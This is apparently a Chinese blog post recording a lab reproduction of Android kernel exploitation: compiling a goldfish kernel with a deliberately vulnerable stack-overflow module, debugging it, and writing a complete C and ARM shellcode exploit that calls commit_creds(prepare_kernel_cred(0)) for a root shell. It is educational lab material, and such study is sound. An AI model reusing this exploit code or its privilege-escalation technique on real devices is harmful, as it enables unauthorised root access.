android内核漏洞利用过程学习

Android应用中的常见漏洞总结(下) 1、网络安全理论知识(2天)①了解行业相关背景,前景,确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。(非常重要)2、渗透测试基础(一周)①渗透测试的流程、分类、标准②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础(一周) 阅读详情

https://www.52pojie.cn/thread-642369-1-1.html
以前写的帖子,自己好能折腾哈哈哈哈

本次实验旨在还原android内核利用及root环境搭建的基本过程,腾讯一个实验室讲过,我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。
一、简介
1.下载内核代码,交叉编译环境(还原漏洞内核)重新编译
2.搭建模拟器环境和调试环境,实现编译加载内核以及调试加载符号链接
3.分析漏洞成因
4.利用漏洞编写exp实现root
二、实现详情
2.1、下载内核代码,交叉编译环境(还原漏洞内核)重新编译
我们查看一下模拟器内核版本cat /proc/cpuinfo

可以看到我们需要goldfish的内核,利用国内的镜像下载,谷歌的上不去,下载goldfish内核。

  git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git  
  $ cd goldfish/  
  # 查看可以下载的Linux内核源码的版本      

$ git branch -a

  • master
    remotes/origin/HEAD -> origin/master
    remotes/origin/android-3.10
    remotes/origin/android-3.18
    remotes/origin/android-goldfish-2.6.29
    remotes/origin/android-goldfish-3.10
    remotes/origin/android-goldfish-3.10-l-mr1-dev
    remotes/origin/android-goldfish-3.10-m-dev
    remotes/origin/android-goldfish-3.10-n-dev
    remotes/origin/android-goldfish-3.18
    remotes/origin/android-goldfish-3.18-dev
    remotes/origin/android-goldfish-3.4
    remotes/origin/android-goldfish-3.4-l-mr1-dev
    remotes/origin/android-goldfish-4.4-dev
    remotes/origin/heads/for/android-goldfish-3.18-dev
    remotes/origin/linux-goldfish-3.0-wip
    remotes/origin/master

选择下载android-goldfish-3.4的内核源码

$ git checkout remotes/origin/android-goldfish-3.4

下载编译工具链

$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.7
创建文件 run_make_config.sh如下:
export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi-
export ARCH=arm
export SUBARCH=arm

生成编译配置文件

make goldfish_armv7_defconfig
赋予权限
$ chmod +x run_make_config.sh
$ source run_make_config.sh
上述操作均在goldfish目录,否则报错
修改生成的Android内核编译配置文件.config,增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项,也没有使用HIGHMEM等选项,因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件,增加调试相关的选项配置。

  1. 打开Android内核编译的配置文件        
    
  2. $ gedit .config 增加的编译配置选项:
  3. 设置模拟器的运行内存-可选参数        
    
  4. CONFIG_HIGHMEM=y
  5. CONFIG_DEBUG_KERNEL=y
  6. CONFIG_KGDB=y
  7. CONFIG_DEBUG_INFO=y
  8. 真机设备调试需要设置这一项,模拟器不需要        
    
  9. CONFIG_KGDB_SERIAL_CONSOLE=y
  10. 可以是直接在配置文件中去掉这一项
  11. CONFIG_DEBUG_RODATA=n
    上面修改.config完成以后,保存和关闭.config文件,然后执行下面的命令进行Android内核源码的编译。由于前面修改Android内核编译配置时,增加了几个配置,因此编译一开始会有提示让选择配置选项,记得相关的配置全部选 y 就可以了。Android内核编译完成后,goldfish/arch/arm/boot/zImage文件出现,这个文件就是Android内核文件了。
    以下是编译一个漏洞进内核:
    下载github上的一个 安卓漏洞利用的项目, git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
    然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核
    git am --signoff < …/kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd … && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
    这一步要在生成.config之后,如果早了命令会出错。 $ make -j4
    · # 启动运行创建的Android模拟器Debug_Kernel ·
    $ emulator -avd Debug_Kernel -gpu mesa 命令行启动一下,可以的话关掉。
    $ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S
    调试内核一般不需要显示图形界面和声音,因此增加启动选项 -no-window, no-audio ,增加 -verbose -show-kernel 选项 可以看到内核的详细输出信息,-kernel 选项 指定加载的内核镜像文件为前面编译的Android内核镜像文件,增加 -qemu -s -S 选项 启动调试监听即Android内核启动以后会监听端口 1234 ,暂停等待调试,这时需要打开另一个命令终端运行 gdb 程序,对Android内核进行调试,还可以增加 -memory 2048 选项 设置运行的内存大小,增加运行内存使调试运行更流畅。
    2.2、搭建模拟器环境和调试环境,实现加载编译内核以及加载调试符号链接
    默认有java的执行环境,自行安装sdk,并下载API19.(这里有一个不用换源就能用的linux下的android sdk http://tools.android-studio.org/index.php/sdk/) 使用 android create avd 命令,创建Android模拟器Debug_Kernel的示例,如下:

查看本地下载的Android SDK

$ android list targets

创建Android模拟器 Debug_Kernel

$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA
Android API 19的Android模拟器 Debug_Kernel 创建成功以后,
使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。

查看已经创建的Android模拟器

$ emulator -list-avds

启动运行创建的Android模拟器Debug_Kernel

$ emulator -avd Debug_Kernel -gpu mesa

$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S
其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的,因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令,在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用,可以参考命令行的帮助,如下图:
配置交叉编译环境变量

编辑环境变量配置文件

$ sudo gedit /etc/profile

添加到环境变量配置文件/etc/profile中的内容

export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7
export PATH= P A T H : PATH: PATH:{ANDROID_TOOLCHAIN}/bin/

更新系统环境变量

$ source /etc/profile

测试是否配置成功

$ arm-eabi-gdb

OK,arm-eabi-gdb 工具的问题解决了,
下面在Android内核源码的根目录下,执行下面的命令进行Android内核的源码调试:

在Android内核源码的根目录下执行

加载内核符号信息

$ arm-eabi-gdb vmlinux

连接远端的调试器

$ target remote :1234

测试命令

$ list
$ n
$ arm-eabi-gdb --help

2.3.分析漏洞成因
首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}
static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
    return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
    }
    printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用 echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
触发异常
溢出到返回地址
可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用 commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl("/system/bin/sh", “sh”, NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。

   当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变,我们先忽略这个随机过程,直接硬编码。

root@generic:/ # cat /proc/kallsyms | grep commit_creds
00000000 T commit_creds
在本文中,把它禁用掉,不管他。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
root@generic:/ # cat /proc/kallsyms | grep commit_creds
c0039834 T commit_creds

root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred
c0039d34 T prepare_kernel_cred
c003a85c T prepare_kernel_cred //myaddress
禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。

至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。
2.4.利用漏洞编写exp实现root
所以现在的利用思路是:
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
为什么这里能提权,我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下,输入密码就可以。android使用linux的内核,但android默认的用户没有root,被系统函数给降权了。怎么才能提权呢?其实只要找一个权限较高的进程让他set uid 、gid为0,那么用户自然就变成了root。本来想找一下这里的源码看一下,不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid,提权一般是不可能了。
2.调用 mov r3, #0x40000010; MSR CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式
3.然后执行 execl("/system/bin/sh", “sh”, NULL); 起一个 root 权限的 shell

最后的 exp :

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX             64
int open_file(void)
{
        int fd = open("/proc/stack_buffer_overflow", O_RDWR);
        if (fd == -1)
                err(1, "open");
        return fd;
}
void payload(void)
{
                printf("[+] enjoy the shell\n");
                execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);
void trigger_vuln(int fd)
{
        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )
        char buf[MAX_PAYLOAD];
        memset(buf, 'A', sizeof(buf));
        void * pc = buf + MAX +  1 * sizeof(void*);
        printf("shellcdoe addr: %p\n", shellCode);
        printf("payload:%p\n", payload);
        *(void **)pc  = (void *) shellCode;   //ret addr
        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}
int main(void)
{
        int fd;
        fd = open_file();
        trigger_vuln(fd);
        payload();
        close(fd);
}

简单的说就是在用户态建立设置UID和gid为0的代码,使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。
当然如果直接在用户态执行提权代码权限是不够的。
arm-linux-androideabi-gcc exp.c -o exp
将编译好的文件放到模拟器任意目录执行即可

对于编译一个基于某些依赖库的程序,而这些依赖库在Android系统中已经有时,最简便的方法是找到它的头文件(有的头文件交叉便器的include中没有),然后再从Android系统中拷贝出相应的.so文件,用交叉编译器或者ndk-build编译即可。
arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename

或者编写Android.mk文件,利用ndk-build.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := client_android
LOCAL_SRC_FILES := client.c
LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include
LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth
include $(BUILD_EXECUTABLE)
#include $(BUILD_STATIC_LIBRARY)
#include $(BUILD_SHARED_LIBRARY)

其中,LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径
include $(CLEAR_VARS)是清空当前的变量
LOCAL_MODULE 是编译后生成的文件名
LOCAL_SRC_FILES 是编译的源文件
LOCAL_CFLAGS 是设置编译时的头文件搜索路径
LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径
include $(BUILD_EXECUTABLE) 是生成可执行文件,如果是BUILD_STATIC_LIBRARY是生成静态库,如果是BUILD_SHARED_LIBRARY。

如果出现
Unable to auto-config arch from toolchain
这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpu


oldfeel@oldfeel:~/android-ndk$ ls toolchains/
aarch64-linux-android-4.9        mipsel-linux-android-4.8
aarch64-linux-android-clang3.4   mipsel-linux-android-4.9
aarch64-linux-android-clang3.5   mipsel-linux-android-clang3.4
arm-linux-androideabi-4.6        mipsel-linux-android-clang3.5
arm-linux-androideabi-4.8        renderscript
arm-linux-androideabi-4.9        x86-4.6
arm-linux-androideabi-clang3.4   x86-4.8
arm-linux-androideabi-clang3.5   x86-4.9
llvm-3.4                         x86_64-4.9
llvm-3.5                         x86_64-clang3.4
mips64el-linux-android-4.9       x86_64-clang3.5
mips64el-linux-android-clang3.4  x86-clang3.4
mips64el-linux-android-clang3.5  x86-clang3.5
mipsel-linux-android-4.6

编辑 make-standalone-toolchain.sh,找到并修改 TOOLCHAIN_NAME= 为

vim build/tools/make-standalone-toolchain.sh
三、总结
我这里adb shell进入android默认就是root权限
$id
uid(0)root pid(0)root
这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统,windows下各种神奇的错误,简直怀疑人生了。

参考:
http://www.360zhijia.com/360anquanke/288826.html
http://blog.youkuaiyun.com/qq1084283172/article/details/

http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html

http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html

http://bobao.360.cn/learning/detail/3702.html

https://github.com/Fuzion24/AndroidKernelExploitationPlayground

感谢网友帮助
备注:
降权

root@generic:/ # id
uid=0(root) gid=0(root) context=u:r:shell:s0
root@generic:/ # su 2000
root@generic:/ $ id
uid=2000(shell) gid=2000(shell) context=u:r:su:s0
安卓漏洞学习(六):Android su提权实现 su提权 实现案例 阅读详情

相关推荐

iOS内核漏洞利用入门:从kfd原理到simplekfd实战指南

内核是操作系统的核心组件,负责管理系统资源、内存和进程调度,其安全性直接决定了整个系统的稳定性。在iOS生态中,内核通过多层防护机制被严格隔离,普通应用无法直接访问。然而,通过特定的内核漏洞,如基于文件描述符的kfd漏洞,攻击者可以构建内存读写原语,突破沙箱限制,实现权限提升。这类技术不仅对移动安全研究具有重要价值,也为系统底层调试、性能分析和高级定制提供了可能。本文以simplekfd项目为例,深入解析如何利用kfd漏洞获取内核读写能力,涵盖环境配置、偏移量提取、漏洞触发与权限提升等关键步骤,并探讨其在越

靓靓软件工作室 611

Android平台漏洞挖掘与利用

Android平台漏洞挖掘与利用视频教程,该课程将介绍几类漏洞的特征以及利用方法。本次课程将以Qualcomm平台上的CVE-2013-6123漏洞为例,介绍如何找出危险的数据交换代码,以及如何稳定利用任意地址写漏洞。也将介绍stagefright漏洞的特征,并且进一步公开C0RE Team如何独立发现高危stagefright 0-day漏洞。讲师介绍:吴家志,奇虎360开发组长/工程师/技术讲师

安卓逆向工程:从APK到内核的层级技术解析

安卓逆向工程可以从不同层级进行,从最上层的应用逻辑分析到最底层的系统调用,每个层级有不同的技术方法和工具。:分析APK的Java/Kotlin代码逻辑、资源文件、Manifest配置等。:分析Android Runtime(ART)或Dalvik虚拟机执行逻辑。:分析Android底层Linux内核,如系统调用、驱动、权限控制。:分析芯片级安全机制(如ARM TrustZone、基带处理器)。动态库(C/C++代码),通常用于核心算法、反调试、加固保护。掌握多层级逆向能力,可以更深入理解安卓安全机制。

tangweiguo03051987的博客 2709

Android Parcelable反序列化漏洞分析与利用

本文将分析系统那些实现了Android Parcelable的类,在序列化与反序列化过程中对变量的读写不匹配引发的反序列化漏洞,通过两个CVE漏洞的利用代码,学习该类漏洞的利用手法。

道阻且长,行则将至 5095

Drammer攻击解析:Rowhammer硬件漏洞在安卓权限提升中的利用与防御

内存管理是计算机系统的核心基础,它通过虚拟内存、物理地址转换等机制为应用程序提供隔离与保护。然而,现代DRAM内存芯片在制程微缩化过程中产生的物理缺陷,如Rowhammer效应,可能绕过这些软件层面的保护机制。Rowhammer的原理在于反复激活特定内存行产生的电信号干扰,会导致相邻行存储的比特位发生翻转,这种物理级的位翻转效应构成了硬件安全的新威胁。从技术价值看,这类漏洞的利用意味着攻击者无需依赖传统软件漏洞,即可从底层物理层面突破系统安全边界,对移动设备、云计算基础设施等场景构成严重威胁。Drammer

weixin_34081595的博客 383

交叉编译工具toolchain4.4.3

交叉编译工具toolchain4.4.3

android 4.4.2 安全漏洞修复

环境:android 4.4.2 漏洞扫描工具:360vulscanner_offical.apk  360透视镜 解决的漏洞:CVE-2015-6764   CVE-2016-1677  CVE-2016-3897   CVE-2016-2439   1.CVE-2015-6764 Google Chrome是美国谷歌(Google)公司开发的一款Web浏览器。Google V8是其中...

shark1621的博客 7939

Redash离线环境部署2020.1(centos+windows)

背景 Redash是一款开源的BI系统,核心功能是添加数据源,然后进行数据的可视化展示。一般会拿出来同Supervisor和Metabase进行选型比较,这里对三者的选型不做细致分析。而是给出在Redash开发环境部署踩过的坑,很多坑是自己琢磨出来的,网上几乎找不到更新的资料。适用于没怎么用过linux,也不怎么熟悉python的,用的是最新(master)的redash的代码(上一个发布版本...

Jone_wan的专栏 2138

谷歌修复了积极利用的Android内核漏洞

本月修复内容摘要

QIANDXX的博客 662

基于 MATLAB 的综合能源系统建模案例 

电平衡约束:P_{gt}(t)+P_{grid}(t)-P_{eb}(t)-P_{load}(t)=0,其中 P_{grid}(t) 为与外部电网的交互功率(正表示购电,负表示售电)。- 电锅炉的热输出功率 Q_{eb} 与输入电功率 P_{eb} 的关系为:Q_{eb}=\eta_{eb}\times P_{eb},其中 \eta_{eb} 为电锅炉的热效率。- 燃气轮机的余热回收功率 Q_{gt} 与发电功率也存在一定关系,例如:Q_{gt}=c\times P_{gt},c 为余热回收比例系数。

qq_57128262的博客 1395

DESeq2实战:利用LRT检验解析时间序列基因表达动态变化

本文详细介绍了如何使用DESeq2中的LRT检验分析时间序列基因表达数据,揭示基因表达动态变化模式。通过构建完整模型与简化模型比较,LRT检验能有效识别处理效应随时间变化的基因,适用于发育过程、疾病进展等研究。文章提供了从数据准备、模型构建到结果可视化的完整实战指南,并分享了高级技巧与常见问题排查方法。

weixin_29062671的博客 439

linux 内核漏洞,Linux内核漏洞CVE-2016-0728的分析与利用

介绍Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于Linux的内核中了,但是我们的团队最近才发现了这个漏洞,并将漏洞的详细信息报告给了内核安全团队。在此之后,我们还发布了一个针对此漏洞的概念验证利用实例。截止至漏洞披露的那一天,这个漏洞已经影响了大约数千万的安装了Linux操作系统的个人计算机...

weixin_42183486的博客 2054

STM32实战:如何用GPS信号同时同步海康摄像头和Livox Mid-360雷达(附完整接线图)

本文详细介绍了如何利用STM32实现GPS信号分频,同步海康摄像头和Livox Mid-360雷达的时间同步方案。通过硬件架构设计、STM32信号处理核心实现及设备接口规范,解决了多传感器数据融合中的时间对齐难题,适用于自动驾驶和机器人导航领域。

weixin_29182481的博客 596

安卓的漏洞类型和扫描工具

Android应用由多个组件组成,这些组件中的漏洞可能导致严重的安全问题。常见的组件漏洞包括:Activity组件漏洞:Activity是Android应用中的一个核心组件,用于显示用户界面。如果Activity组件存在漏洞,如崩溃或异常,那么其他应用可能会利用这些漏洞导致应用崩溃或进行功能调用。此外,Activity接口如果被其他应用调用,还可能用于执行特定的敏感操作或进行钓鱼欺骗。Service组件漏洞:Service是Android应用中的另一个重要组件,用于在后台执行长时间运行的操作。

xxdw1992的博客 2220

机器视觉检测到底怎么做,经验分享

笔者做机器视觉检测已经有五六年了,也算是对机器视觉的检测技术有了一定的掌握。总的来说,基于机器视觉的检测技术主要包含三个部分:视觉采集模块、后台分析模块和动作决策模块。这几个分类,跟教科书上的有较大差异,很多同学觉得我在杜撰。笔者也不作反驳,因为这是笔者这些年工作经验的总结,自然区别于教科书。下面我们分开来讲这几个模块,同时会把笔者之前的论文做个推荐总结。 所有文章均可在博主的主页中找到,若无法找到,可以用搜索工具。博主的主页: https://blog.youkuaiyun.com/Aoulun 第..

Aoulun的博客 8677

从0开始部署基础的AlwaysOn

在这个快餐文化盛行的时代,应该没多少人真的会沉下心来看理论和具体步骤,加上我自己也需要一篇可以扩展的快速搭建环境的指引,所以特别写了这篇文章。 我们在这里要做的事情有以下几个:安装环境。包括虚拟机和网络配置等。安装Windows域、配置必要的账号密码及功能。搭建域环境并进行配置。安装配置Windows Server Failover Cluster(WSFC)。安装SQL Server。配置Alw

MVP黄钊吉(發糞塗牆) 7568

android内核读写,android内核漏洞cve-2014-3153分析笔记

本帖最后由 inquisiter 于 2017-9-15 21:14 编辑Android内核提权cve-2014-3153研究笔记一、简介我这里把我自己的理解总结下,看别人的总是云山雾绕,不得要领。还是要有自己的思路。当然也希望自己写的通俗一些,那么又有一大批人能看懂了就。文中图片修改了文尾链接处作者的图片,部分例子采用参考中所得。各位想做下实验的可以参考我上一篇的编译过程,也可以看我给出的链接。...

weixin_36473057的博客 674

Python调用CANoe

我们可以创建CANoe应用程序对象,打开配置文件,启动模拟,发送和接收消息,并在完成后关闭CANoe应用程序。这使得我们能够使用Python自动化执行测试任务,并集成CANoe的功能到我们的Python应用程序中。CANoe是一款功能强大的汽车网络仿真和测试工具,它能够模拟和分析汽车网络通信,并提供丰富的测试功能。通过Python编程语言,我们可以方便地调用CANoe的API,实现自动化测试和集成CANoe的功能到我们的Python应用程序中。在CANoe中,我们可以为不同的汽车网络创建配置文件。

AzqLinux的博客 1287

AI驱动漏洞挖掘!利用智能体发现57个安卓APP未知漏洞

安全内参9月8日消息,来自南京大学和悉尼大学的两位研究人员开发出一个AI研究框架,用于在安卓应用中发现并验证漏洞。该系统名为A2,它通过先对应用安全性进行推理,再尝试利用潜在缺陷进行验证,从而模拟人类专家的分析与验证过程。图:A2效果优于APKHunt在“智能体漏洞发现”阶段,系统结合语义代码理解与传统安全工具,生成关于漏洞的假设。下一阶段“智能体漏洞验证”则包括漏洞利用的规划、执行和验证,以确认假设是否成立。

bdfcfff77fa的博客 831

大数据预测分析:精准把握市场趋势

传统市场预测多依赖经验判断(比如“去年卖了1000件,今年加20%”)或小数据统计(比如用近6个月的销量做线性回归)。而大数据预测分析是:利用海量结构化+非结构化数据(销售、用户、社交媒体、天气等),通过机器学习/深度学习模型,挖掘数据中的关联关系与趋势规律,实现对未来市场走势的精准预测。更全面:覆盖内部(企业数据)+外部(行业、环境数据)的全维度数据;更精准:用算法替代人工,避免主观偏差;更实时:支持分钟级/小时级的实时预测(比如直播带货的销量预测)。错误做法。

AI智能探索者的博客 1024

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

android6.0漏洞root,脏牛漏洞可ROOT全部安卓系统?

原标题:脏牛漏洞可ROOT全部安卓系统?上周,研究人员Phil Oester发现 “脏牛”漏洞,影响范围甚广,波及到2007年发布的Linux内核,一时间名声大噪。脏牛漏洞,编号为CVE-2016-5195,是Linux内核运行时出现的竞争条件,允许攻击者实现本地提权。简而言之,攻击者利用脏牛可获得Linux设备的root权限。(详情请参考此前漏洞盒子发布的漏洞预警)影响所有Android版本脏牛...

weixin_42411003的博客 1859

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

从零点击攻击链看安卓安全:漏洞利用与纵深防御实战解析

在移动安全领域,漏洞利用是攻击者突破系统防御的核心手段。其原理通常是通过精心构造的恶意数据触发软件缺陷,实现从远程代码执行到本地权限提升的完整攻击链。这种技术的价值在于,它能在用户无感知的情况下完成入侵,对设备安全构成严重威胁。在安卓生态中,此类攻击常针对浏览器渲染引擎、内核驱动等高价值目标展开。以近期披露的针对Pixel设备的攻击为例,攻击者仅组合两个高危漏洞——一个远程代码执行漏洞和一个本地提权漏洞,就构建了一条高效的零点击攻击链。该案例深刻揭示了现代高级持续性威胁(APT)的攻击模式,也凸显了内存安全

weixin_34054866的博客 479

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

谷歌修复已遭利用的两个安卓 0day 漏洞

聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士谷歌在十一月补丁更新中修复了两个已遭活跃利用的安卓 0day,共计修复51个漏洞。这两个漏洞是CVE-2024-43047和CVE-2024-43093,已被标记为遭有限的针对性攻击。CVE-2024-43047是位于安卓内核中闭源高通组件中的一个高危释放后使用漏洞,可用于提升权限。该漏洞由高通在2024年10月早些时候首次披露,表示它存在于 D...

smellycat000的专栏 1046

谷歌修复安卓120个漏洞,含两个正遭利用的零日漏洞

谷歌紧急修复安卓120个漏洞,含2个正遭利用的零日漏洞。

FreeBuf_的博客 496

终极指南:如何利用CVE-2014-3153 futex漏洞实现Linux内核提权

Linux内核漏洞利用是信息安全领域的重要课题,而CVE-2014-3153 futex漏洞无疑是其中最经典的内核提权案例之一。这个被称为"Towelroot"的漏洞影响了从2.6.32到3.14版本的Linux内核,允许本地攻击者通过竞争条件获得root权限。本文将深入浅出地解析这个futex漏洞的利用原理,并提供实用的防护建议。 ## 🔍 CVE-2014-3153漏洞概述 CVE-20

gitblog_01178的博客 1078
上一篇: 解读Nativebridge对于houdin的支持
下一篇: 修改Android源码使property中ro属性可重复修改
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值